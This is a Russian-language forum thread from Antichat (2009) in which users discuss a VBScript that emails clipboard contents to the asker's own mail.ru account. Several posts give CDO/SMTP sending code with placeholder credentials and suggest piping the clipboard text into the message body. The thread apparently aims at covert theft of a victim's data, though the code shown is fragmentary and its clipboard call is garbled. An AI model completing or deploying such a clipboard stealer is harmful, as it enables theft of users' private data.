ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
Перезагрузить страницу VBS for lamers => how to?
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

VBS for lamers => how to?
  #1  
Старый 14.10.2009, 04:46
Аватар для aka_k4
aka_k4
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
Провел на форуме:
910039

Репутация: 86
По умолчанию VBS for lamers => how to?
set FSO=createobject("scripting.filesystemobject")
Call SendPost("smtp.mail.ru","ТВОЙ MAIL","ТВОЙ MAIL","ТЕМА","ТЕКСТ")
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,s trBody)
Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="ТУТ ВВОДИТЬ СВОЙ НИК НА WWW.MAIL.RU"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="ТУТ ПАРОЛЬ ОТ АККА"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25


я так понел, этот кусок кода поможет отправеть к нам на мыло нужные данные.
Как бэ реализовать отправку на мыло содержимое буфера обмена. Причом не чего попало, а тока те что быле переданы методом GetText.

Я так понел первоночально нужно : Text = Clipboard.Q«tT«xt([format]), но неношол в нете инфы по отправке этого дела на майл в текстовом виде.. кто падскажет?
 
Ответить с цитированием

  #2  
Старый 14.10.2009, 05:33
Аватар для BrainDeaD
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию
ну походу так
strBody = Clipboard.Q«tT«xt([format])
если я всё правильно понял
 
Ответить с цитированием

  #3  
Старый 14.10.2009, 05:47
Аватар для aka_k4
aka_k4
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
Провел на форуме:
910039

Репутация: 86
По умолчанию
А потом strBody на мыло? чо та не догоняю..чо та не робототет так.. хз..
 
Ответить с цитированием

  #4  
Старый 14.10.2009, 06:02
Аватар для BrainDeaD
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666

Репутация: 439


По умолчанию
Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody)
strBody - переменная содержащая тело письма.
я не увлекаюсь VBS, просто догадка, чисто логически.
хз чегоне работает. а Clipboard.Q«tT«xt([format]) что-то адекватное вообще выдаёт?

ах да. если взять полный код для отправки
Код:
Call SendPost("mail", "mail@mail.ru", "mail@mail.ru", "tema", Body)
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
    Set iMsg = CreateObject("CDO.Message")
    Set iConf = CreateObject("CDO.Configuration")
    Set Flds = iConf.Fields
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = strSMTP_Server
    Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 10
    Flds.Update
    iMsg.Configuration = iConf
    iMsg.To = strTo
    iMsg.From = strFrom
    iMsg.Subject = strSubject
    iMsg.TextBody = strBody
    iMsg.Send
End Function
то переменная для текста будет Body, следовательно Body = Clipboard.Q«tT«xt([format])
 
Ответить с цитированием

  #5  
Старый 14.10.2009, 06:32
Аватар для aka_k4
aka_k4
Участник форума
Регистрация: 05.02.2009
Сообщений: 133
Провел на форуме:
910039

Репутация: 86
По умолчанию
спасибо , сейчас покумекаю... хотя колы уже нет и на часах 8.31
----------------
Вобщем не понимаю.. кто знает?
Последний раз редактировалось Jes; 14.10.2009 в 11:23..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
скрипт на VBS или VBA помогите плиз !!! formatC:vt PHP, PERL, MySQL, JavaScript 3 13.07.2009 17:15
Нюансы Vbs VOLKOFF PHP, PERL, MySQL, JavaScript 2 10.04.2007 18:29
vbs реестр и radmin Seth PHP, PERL, MySQL, JavaScript 0 21.10.2006 10:40
ActiveX через VBS Unicorn78 PHP, PERL, MySQL, JavaScript 3 10.04.2006 14:39



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ